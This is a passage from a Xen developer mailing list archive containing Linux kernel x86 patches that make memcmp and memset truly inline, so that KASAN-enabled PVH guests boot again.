+ */
+static __always_inline int __inline_memcmp(const void *s1, const void *s2, size_t len)
+{
+	bool diff;
+
+	asm("repe cmpsb"
+	    : "=@ccnz" (diff), "+D" (s1), "+S" (s2), "+c" (len));
+
+	return diff;
+}
+
+#endif /* _ASM_X86_SHARED_STRING_H */

-- 
2.47.3



From xen-devel-bounces@lists.xenproject.org Tue Jul 21 15:57:08 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 21 Jul 2026 15:57:08 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367907.1617577 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmCq9-0003xl-J9; Tue, 21 Jul 2026 15:57:05 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367907.1617577; Tue, 21 Jul 2026 15:57:05 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmCq9-0003xe-FF; Tue, 21 Jul 2026 15:57:05 +0000
Received: by outflank-mailman (input) for mailman id 1367907;
 Tue, 21 Jul 2026 15:57:04 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <mfo@igalia.com>) id 1wmCq7-0003YG-Ue
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 15:57:03 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmCq7-0030N8-4j
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 17:57:03 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <mfo@igalia.com>)
 id 6a5f96a5-2eae-0a2a0a5409dd-0a2a450bdfd2-46
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 17:57:02 +0200
Received: from [213.97.179.56] (helo=fanzine2.igalia.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <mfo@igalia.com>)
 id 6a5f96ce-b7e8-0a2a450b0019-d561b338c9a4-3
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 17:57:02 +0200
Received: from 186-249-149-197.shared.desktop.com.br ([186.249.149.197]
 helo=[127.0.1.1]) by fanzine2.igalia.com with esmtpsa 
 (Cipher TLS1.3:ECDHE_X25519__RSA_PSS_RSAE_SHA256__AES_256_GCM:256) (Exim)
 id 1wmCpx-001fqi-Oj; Tue, 21 Jul 2026 17:56:53 +0200
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20170329 header.d=igalia.com header.i="@igalia.com" header.h="Cc:To:Message-Id:Content-Transfer-Encoding:Content-Type:MIME-Version:Subject:Date:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=igalia.com;
	s=20170329; h=Cc:To:Message-Id:Content-Transfer-Encoding:Content-Type:
	MIME-Version:Subject:Date:From:From:Reply-To;
	bh=De2dzZj2ttdukFtf63NNllXcxOhpCCmsArNb8hGxCvQ=; b=narRMe9qdgSyv2htjupS5xLCA/
	UpBYEUhR2i7F/ieE7TontYsiFUncVK+69v4Zh6RreeDii9nB5w0mQ/aC83KKCzLthuHglKUcYDjko
	u0Cs3LJCpghLi0lNGq+IcEyNpfEL2wVLDToXk09DFSc5KghK7ihXvzoVNm4zZ4CcP2+MKIgelye0E
	tPvA1WtxAd94eKFrS9Fot9kNePPEkXciEOfL5JniFP9DWPzl18KD8YGFqCyohIyZ8wM38mRYXw7RO
	L9jxpje39WQcyovalSh1T/nkn+h4gQawnjhvCxX5ydVUVcI4rE4mY7RvOoKNKr2w4EZ7sDPHeyiGL
	i7oZ772w==;
From: Mauricio Faria de Oliveira <mfo@igalia.com>
Date: Tue, 21 Jul 2026 12:56:43 -0300
Subject: [PATCH v7 2/5] x86/asm: add volatile, clobbers and zero-length
 check in inline memcmp
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260721-pvh-kasan-inline-v7-2-38979a50cef0@igalia.com>
References: <20260721-pvh-kasan-inline-v7-0-38979a50cef0@igalia.com>
In-Reply-To: <20260721-pvh-kasan-inline-v7-0-38979a50cef0@igalia.com>
To: Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, 
 Borislav Petkov <bp@alien8.de>, Dave Hansen <dave.hansen@linux.intel.com>, 
 x86@kernel.org, "H. Peter Anvin" <hpa@zytor.com>, 
 Juergen Gross <jgross@suse.com>, Alexey Dobriyan <adobriyan@gmail.com>, 
 Boris Ostrovsky <boris.ostrovsky@oracle.com>
Cc: kernel-dev@igalia.com, linux-kernel@vger.kernel.org, 
 xen-devel@lists.xenproject.org, Mauricio Faria de Oliveira <mfo@igalia.com>
X-Mailer: b4 0.14.2
X-purgate-ID: tlsNG-42698a/1784649422-AB2DC9EA-B8750806/0/0
X-purgate-type: clean
X-purgate-size: 1320

Add the volatile qualifier and clobbers parameter to prevent bugs with
instruction reordering and optimization.

Also check the zero-length case, as the 'repe' prefix does not run the
'cmpsb' instruction if the 'count' register is zero, which doesn't set
the condition-code/zero flag, so the result is based on a stale flag.

Those are pre-existing issues found by Sashiko.

Link: https://sashiko.dev/#/patchset/20260701-pvh-kasan-inline-v6-0-ba99045dfa9f%40igalia.com
Signed-off-by: Mauricio Faria de Oliveira <mfo@igalia.com>
---
 arch/x86/include/asm/shared/string.h | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/arch/x86/include/asm/shared/string.h b/arch/x86/include/asm/shared/string.h
index 02b92927553f7b8e1c87e6122bbaa70439e57ea7..166274e44f3cb49e3dccab3cdac281d67aef5d44 100644
--- a/arch/x86/include/asm/shared/string.h
+++ b/arch/x86/include/asm/shared/string.h
@@ -11,8 +11,12 @@ static __always_inline int __inline_memcmp(const void *s1, const void *s2, size_
 {
 	bool diff;
 
-	asm("repe cmpsb"
-	    : "=@ccnz" (diff), "+D" (s1), "+S" (s2), "+c" (len));
+	if (len == 0)
+		return 0;
+
+	asm volatile("repe cmpsb"
+		     : "=@ccnz" (diff), "+D" (s1), "+S" (s2), "+c" (len)
+		     : : "cc", "memory");
 
 	return diff;
 }

-- 
2.47.3



From xen-devel-bounces@lists.xenproject.org Tue Jul 21 15:57:08 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 21 Jul 2026 15:57:08 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367908.1617586 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmCqA-0004BA-PE; Tue, 21 Jul 2026 15:57:06 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367908.1617586; Tue, 21 Jul 2026 15:57:06 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmCqA-0004B2-MF; Tue, 21 Jul 2026 15:57:06 +0000
Received: by outflank-mailman (input) for mailman id 1367908;
 Tue, 21 Jul 2026 15:57:06 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <mfo@igalia.com>) id 1wmCqA-00047F-BQ
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 15:57:06 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmCq9-00A8Sg-NB
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 17:57:05 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <mfo@igalia.com>)
 id 6a5f96ce-5cb7-0a2a0a5109dd-0a2a4508a69c-6
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 17:57:05 +0200
Received: from [213.97.179.56] (helo=fanzine2.igalia.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <mfo@igalia.com>)
 id 6a5f96d0-f659-0a2a45080019-d561b338cf6a-3
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 17:57:05 +0200
Received: from 186-249-149-197.shared.desktop.com.br ([186.249.149.197]
 helo=[127.0.1.1]) by fanzine2.igalia.com with esmtpsa 
 (Cipher TLS1.3:ECDHE_X25519__RSA_PSS_RSAE_SHA256__AES_256_GCM:256) (Exim)
 id 1wmCq1-001fqi-Km; Tue, 21 Jul 2026 17:56:57 +0200
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20170329 header.d=igalia.com header.i="@igalia.com" header.h="Cc:To:Message-Id:Content-Transfer-Encoding:Content-Type:MIME-Version:Subject:Date:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=igalia.com;
	s=20170329; h=Cc:To:Message-Id:Content-Transfer-Encoding:Content-Type:
	MIME-Version:Subject:Date:From:From:Reply-To;
	bh=6ydr4gjm8knb3/GExgHyDpALgw8COsdA2yPnrgwuQDA=; b=SsVENWohVjwIJtHkP79GoUi3hF
	+s/IaQPs1ixDPA84dNDdk3hqoealnVkF9L+JuQ3VilOhMV9uL1FD2XCjblhCOpxtBYbPTl/0NiBm7
	jQgAE8MHz5Il/Z5zV01CgHGkdMnzWZZo9dFbUoWfHOaSDsfr1dVfSSx/qU0GJp+vl+UGICUYcwonC
	w8ae0iNXNB3xiCvHssfIoZARP98r8fRiz/61TJqoJRnG1KnLUQQB87yhDUoyDJW9EbKbQUbOhE55v
	w5YUN/lFGE7ay7QUoOWiZvrrmFPXvKYADlNjZ75dnFKwyA7u0HXxYi4XifbOyE/BS4JUIuOY/4ABf
	3Zzayl8A==;
From: Mauricio Faria de Oliveira <mfo@igalia.com>
Date: Tue, 21 Jul 2026 12:56:44 -0300
Subject: [PATCH v7 3/5] x86/asm: group inline string functions
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260721-pvh-kasan-inline-v7-3-38979a50cef0@igalia.com>
References: <20260721-pvh-kasan-inline-v7-0-38979a50cef0@igalia.com>
In-Reply-To: <20260721-pvh-kasan-inline-v7-0-38979a50cef0@igalia.com>
To: Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, 
 Borislav Petkov <bp@alien8.de>, Dave Hansen <dave.hansen@linux.intel.com>, 
 x86@kernel.org, "H. Peter Anvin" <hpa@zytor.com>, 
 Juergen Gross <jgross@suse.com>, Alexey Dobriyan <adobriyan@gmail.com>, 
 Boris Ostrovsky <boris.ostrovsky@oracle.com>
Cc: kernel-dev@igalia.com, linux-kernel@vger.kernel.org, 
 xen-devel@lists.xenproject.org, Mauricio Faria de Oliveira <mfo@igalia.com>
X-Mailer: b4 0.14.2
X-purgate-ID: tlsNG-c1860d/1784649425-D6B4187B-CF0F6831/0/0
X-purgate-type: clean
X-purgate-size: 2425

Group the __inline string functions in the same header.

Use <asm/shared/string.h> since __inline_memcmp() must remain there for use
by arch/x86/boot/string.c.

Signed-off-by: Mauricio Faria de Oliveira <mfo@igalia.com>
---
 arch/x86/include/asm/shared/string.h | 26 ++++++++++++++++++++++++++
 arch/x86/include/asm/string.h        | 21 +--------------------
 2 files changed, 27 insertions(+), 20 deletions(-)

diff --git a/arch/x86/include/asm/shared/string.h b/arch/x86/include/asm/shared/string.h
index 166274e44f3cb49e3dccab3cdac281d67aef5d44..9714fbda8b734e20686bfb88a6ca857bfee59e1a 100644
--- a/arch/x86/include/asm/shared/string.h
+++ b/arch/x86/include/asm/shared/string.h
@@ -2,6 +2,32 @@
 #ifndef _ASM_X86_SHARED_STRING_H
 #define _ASM_X86_SHARED_STRING_H
 
+/*
+ * The __inline string functions are grouped in this file for consistency and
+ * for use by arch/x86/boot code due to limitations on including asm/string.h.
+ */
+
+static __always_inline void *__inline_memcpy(void *to, const void *from, size_t len)
+{
+	void *ret = to;
+
+	asm volatile("rep movsb"
+		     : "+D" (to), "+S" (from), "+c" (len)
+		     : : "memory");
+	return ret;
+}
+
+static __always_inline void *__inline_memset(void *s, int v, size_t n)
+{
+	void *ret = s;
+
+	asm volatile("rep stosb"
+		     : "+D" (s), "+c" (n)
+		     : "a" ((uint8_t)v)
+		     : "memory");
+	return ret;
+}
+
 /*
  * This inline memcmp() returns 0 (equal) or 1 (not equal).
  * The regular memcmp() returns <0 (less than), 0 (equal), or >0 (greater than)
diff --git a/arch/x86/include/asm/string.h b/arch/x86/include/asm/string.h
index 9cb5aae7fba9ffcf0f5af8f939d30467750ccaa9..dbf59f0d4cca71e2ddce0d8764aeec8782236669 100644
--- a/arch/x86/include/asm/string.h
+++ b/arch/x86/include/asm/string.h
@@ -8,25 +8,6 @@
 # include <asm/string_64.h>
 #endif
 
-static __always_inline void *__inline_memcpy(void *to, const void *from, size_t len)
-{
-	void *ret = to;
-
-	asm volatile("rep movsb"
-		     : "+D" (to), "+S" (from), "+c" (len)
-		     : : "memory");
-	return ret;
-}
-
-static __always_inline void *__inline_memset(void *s, int v, size_t n)
-{
-	void *ret = s;
-
-	asm volatile("rep stosb"
-		     : "+D" (s), "+c" (n)
-		     : "a" ((uint8_t)v)
-		     : "memory");
-	return ret;
-}
+#include <asm/shared/string.h>
 
 #endif /* _ASM_X86_STRING_H */

-- 
2.47.3



From xen-devel-bounces@lists.xenproject.org Tue Jul 21 15:57:12 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 21 Jul 2026 15:57:12 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367909.1617595 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmCqG-0004Tk-0n; Tue, 21 Jul 2026 15:57:12 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367909.1617595; Tue, 21 Jul 2026 15:57:11 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmCqF-0004Tb-TG; Tue, 21 Jul 2026 15:57:11 +0000
Received: by outflank-mailman (input) for mailman id 1367909;
 Tue, 21 Jul 2026 15:57:11 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <mfo@igalia.com>) id 1wmCqF-0004SE-47
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 15:57:11 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmCqE-00FUhY-HK
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 17:57:10 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <mfo@igalia.com>)
 id 6a5f96d3-5cb7-0a2a0a5109dd-0a2a45028c22-8
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 17:57:10 +0200
Received: from [213.97.179.56] (helo=fanzine2.igalia.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <mfo@igalia.com>)
 id 6a5f96d5-6ca4-0a2a45020019-d561b338c1ba-3
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 17:57:10 +0200
Received: from 186-249-149-197.shared.desktop.com.br ([186.249.149.197]
 helo=[127.0.1.1]) by fanzine2.igalia.com with esmtpsa 
 (Cipher TLS1.3:ECDHE_X25519__RSA_PSS_RSAE_SHA256__AES_256_GCM:256) (Exim)
 id 1wmCq5-001fqi-KV; Tue, 21 Jul 2026 17:57:01 +0200
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20170329 header.d=igalia.com header.i="@igalia.com" header.h="Cc:To:Message-Id:Content-Transfer-Encoding:Content-Type:MIME-Version:Subject:Date:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=igalia.com;
	s=20170329; h=Cc:To:Message-Id:Content-Transfer-Encoding:Content-Type:
	MIME-Version:Subject:Date:From:From:Reply-To;
	bh=H2GAc7mtrFpKl87p+adcJZhrkVbc1evwDywNzt1ulrU=; b=jkKx9H55MATnseHJXY81Cspvjl
	99yL1XY80tw3CjNdRhms7d2OgdbbPrMwjer7mpauJndcaay8k1gKRvA6DRea0FRzmmy7Z83AOFCo6
	2Do13QujniJVM+JrS0AyG87eUPc5rB4EzSE8Mj062ssbo2Pwmr2WhEVZh5vEFZ5neyOZss4rYM7aO
	nnA55l0uLXkxNJyDs0lm7ZJ7THEVb099ufQ2eQ2hYrBdIqw+8AVIqDC9gS/Qvl6mYEPV9E/NfodXs
	aEtW05edbcx6O0H8EWeIxodq5SF69Wp3FXOCUgxpj7fJhtLoI0uSHaZeytExSJQT2z/CvOMr9FVaC
	I/xKiP8g==;
From: Mauricio Faria de Oliveira <mfo@igalia.com>
Date: Tue, 21 Jul 2026 12:56:45 -0300
Subject: [PATCH v7 4/5] x86/cpuid: fix unbootable VMs by really inlining
 memcmp() in hypervisor_cpuid_base()
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260721-pvh-kasan-inline-v7-4-38979a50cef0@igalia.com>
References: <20260721-pvh-kasan-inline-v7-0-38979a50cef0@igalia.com>
In-Reply-To: <20260721-pvh-kasan-inline-v7-0-38979a50cef0@igalia.com>
To: Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, 
 Borislav Petkov <bp@alien8.de>, Dave Hansen <dave.hansen@linux.intel.com>, 
 x86@kernel.org, "H. Peter Anvin" <hpa@zytor.com>, 
 Juergen Gross <jgross@suse.com>, Alexey Dobriyan <adobriyan@gmail.com>, 
 Boris Ostrovsky <boris.ostrovsky@oracle.com>
Cc: kernel-dev@igalia.com, linux-kernel@vger.kernel.org, 
 xen-devel@lists.xenproject.org, Mauricio Faria de Oliveira <mfo@igalia.com>
X-Mailer: b4 0.14.2
X-purgate-ID: tlsNG-720697/1784649430-F3CBA2AC-9A7A3234/0/0
X-purgate-type: clean
X-purgate-size: 1458

Even with __builtin the compiler may decide to use the out of line function
instead of the inline implementation.

The existing code is broken with gcc-14/15 but not gcc-12/13 (Ubuntu 25.10)
and vmlinux no longer boots with CONFIG_PVH if CONFIG_KASAN_GENERIC is set.

For testing purposes, if the size argument is reduced from 12 to 8 then the
compiler decides to use the inline implementation; that shows results vary.

Switch the builtin to the inline implementation to address it.

Fixes: 416a33c9afce ("x86/cpu: fix unbootable VMs by inlining memcmp() in hypervisor_cpuid_base()")
Signed-off-by: Mauricio Faria de Oliveira <mfo@igalia.com>
Reviewed-by: Juergen Gross <jgross@suse.com>
---
 arch/x86/include/asm/cpuid/api.h | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/arch/x86/include/asm/cpuid/api.h b/arch/x86/include/asm/cpuid/api.h
index 82eddfa2347b32b76c2ea9b85f005ca5416ac71f..2d9f3d4d63de6e721f275d9e80d372edbdfedf30 100644
--- a/arch/x86/include/asm/cpuid/api.h
+++ b/arch/x86/include/asm/cpuid/api.h
@@ -204,7 +204,7 @@ static inline u32 cpuid_base_hypervisor(const char *sig, u32 leaves)
 		 * from PVH early boot code before instrumentation is set up
 		 * and memcmp() itself may be instrumented.
 		 */
-		if (!__builtin_memcmp(sig, signature, 12) &&
+		if (!__inline_memcmp(sig, signature, 12) &&
 		    (leaves == 0 || ((eax - base) >= leaves)))
 			return base;
 	}

-- 
2.47.3



From xen-devel-bounces@lists.xenproject.org Tue Jul 21 15:57:17 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 21 Jul 2026 15:57:17 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367911.1617603 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmCqL-0004pt-8S; Tue, 21 Jul 2026 15:57:17 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367911.1617603; Tue, 21 Jul 2026 15:57:17 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmCqL-0004pf-4k; Tue, 21 Jul 2026 15:57:17 +0000
Received: by outflank-mailman (input) for mailman id 1367911;
 Tue, 21 Jul 2026 15:57:16 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <mfo@igalia.com>) id 1wmCqK-0004nH-8Q
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 15:57:16 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmCqJ-00546t-Jw
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 17:57:15 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <mfo@igalia.com>)
 id 6a5f96b4-e002-0a2a0a5209dd-0a2a4506d0f4-44
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 17:57:15 +0200
Received: from [213.97.179.56] (helo=fanzine2.igalia.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <mfo@igalia.com>)
 id 6a5f96db-195a-0a2a45060019-d561b3389efc-3
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 17:57:15 +0200
Received: from 186-249-149-197.shared.desktop.com.br ([186.249.149.197]
 helo=[127.0.1.1]) by fanzine2.igalia.com with esmtpsa 
 (Cipher TLS1.3:ECDHE_X25519__RSA_PSS_RSAE_SHA256__AES_256_GCM:256) (Exim)
 id 1wmCqA-001fqi-7r; Tue, 21 Jul 2026 17:57:06 +0200
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20170329 header.d=igalia.com header.i="@igalia.com" header.h="Cc:To:Message-Id:Content-Transfer-Encoding:Content-Type:MIME-Version:Subject:Date:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=igalia.com;
	s=20170329; h=Cc:To:Message-Id:Content-Transfer-Encoding:Content-Type:
	MIME-Version:Subject:Date:From:From:Reply-To;
	bh=zBAAE6UPiVcuOT4Hdx5zYoG+Uei+rPkEJSxQ4+nbtAc=; b=JrbOnFQR6dfy/X/BZvtx9of337
	mDDlmRD41imICMI1FGTnn5J0zzoMzEReUP8KM9dS2pdkZBuiviwA2X/GCTxk+wTWd1vVJ7u1OQ7m7
	vPPBQyHafQmncEvQDOu71j0nTsBoZQE3V5WRB32p+GoJBUdx5RJ3EIv9DMB8jQPrwTGoHPK1LT0Zn
	HphIxyb63klsPuH5iBsJ8uH3IZJdL8ucIkrGoRchp3N3iEjU03C6Ge0XYdTqBad1fzb3LC4mUgdmd
	kUrs5K2OYc6HOCWl6JxrLBy6U3bIWkD8EHlcoK//Dwoq6Z/1gr/iqPJcUHYUhVyG9w5Bj4jJTdOF3
	x/4vn0Wg==;
From: Mauricio Faria de Oliveira <mfo@igalia.com>
Date: Tue, 21 Jul 2026 12:56:46 -0300
Subject: [PATCH v7 5/5] x86/pvh: fix unbootable VMs by really inlining
 memset() in xen_prepare_pvh()
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260721-pvh-kasan-inline-v7-5-38979a50cef0@igalia.com>
References: <20260721-pvh-kasan-inline-v7-0-38979a50cef0@igalia.com>
In-Reply-To: <20260721-pvh-kasan-inline-v7-0-38979a50cef0@igalia.com>
To: Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, 
 Borislav Petkov <bp@alien8.de>, Dave Hansen <dave.hansen@linux.intel.com>, 
 x86@kernel.org, "H. Peter Anvin" <hpa@zytor.com>, 
 Juergen Gross <jgross@suse.com>, Alexey Dobriyan <adobriyan@gmail.com>, 
 Boris Ostrovsky <boris.ostrovsky@oracle.com>
Cc: kernel-dev@igalia.com, linux-kernel@vger.kernel.org, 
 xen-devel@lists.xenproject.org, Mauricio Faria de Oliveira <mfo@igalia.com>
X-Mailer: b4 0.14.2
X-purgate-ID: tlsNG-16d1c6/1784649435-FD20877B-90D1485B/0/0
X-purgate-type: clean
X-purgate-size: 1416

Even with __builtin the compiler may decide to use the out of line function
instead of the inline implementation.

This particular one (still) generated the inline implementation as expected
(at least in these compiler versions) but this is not guaranteed to remain.

Switch the builtin to the inline implementation to address it.

Fixes: fbe5a6dfe492 ("xen, pvh: fix unbootable VMs by inlining memset() in xen_prepare_pvh()")
Signed-off-by: Mauricio Faria de Oliveira <mfo@igalia.com>
Reviewed-by: Juergen Gross <jgross@suse.com>
---
 arch/x86/platform/pvh/enlighten.c | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/arch/x86/platform/pvh/enlighten.c b/arch/x86/platform/pvh/enlighten.c
index f2053cbe9b0ce3d2178938269607c652ae8f528e..cb442cbd9d828619421babb281bfe9759edbca8a 100644
--- a/arch/x86/platform/pvh/enlighten.c
+++ b/arch/x86/platform/pvh/enlighten.c
@@ -8,6 +8,7 @@
 #include <asm/hypervisor.h>
 #include <asm/e820/api.h>
 #include <asm/x86_init.h>
+#include <asm/string.h>
 
 #include <asm/xen/interface.h>
 
@@ -129,7 +130,7 @@ void __init xen_prepare_pvh(void)
 	 * This must not compile to "call memset" because memset() may be
 	 * instrumented.
 	 */
-	__builtin_memset(&pvh_bootparams, 0, sizeof(pvh_bootparams));
+	__inline_memset(&pvh_bootparams, 0, sizeof(pvh_bootparams));
 
 	hypervisor_specific_init(xen_guest);
 

-- 
2.47.3



From xen-devel-bounces@lists.xenproject.org Tue Jul 21 15:59:17 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 21 Jul 2026 15:59:17 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367955.1617613 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmCs5-0006tQ-K8; Tue, 21 Jul 2026 15:59:05 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367955.1617613; Tue, 21 Jul 2026 15:59:05 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmCs5-0006tJ-Gv; Tue, 21 Jul 2026 15:59:05 +0000
